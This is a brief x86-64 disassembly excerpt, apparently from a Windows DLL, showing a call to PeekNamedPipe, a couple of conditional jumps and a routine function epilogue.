mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x180014246
cmp dword [rsp + 0x30], 0
ja 0x180014251
mov eax, dword [rsp + 0x68]
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret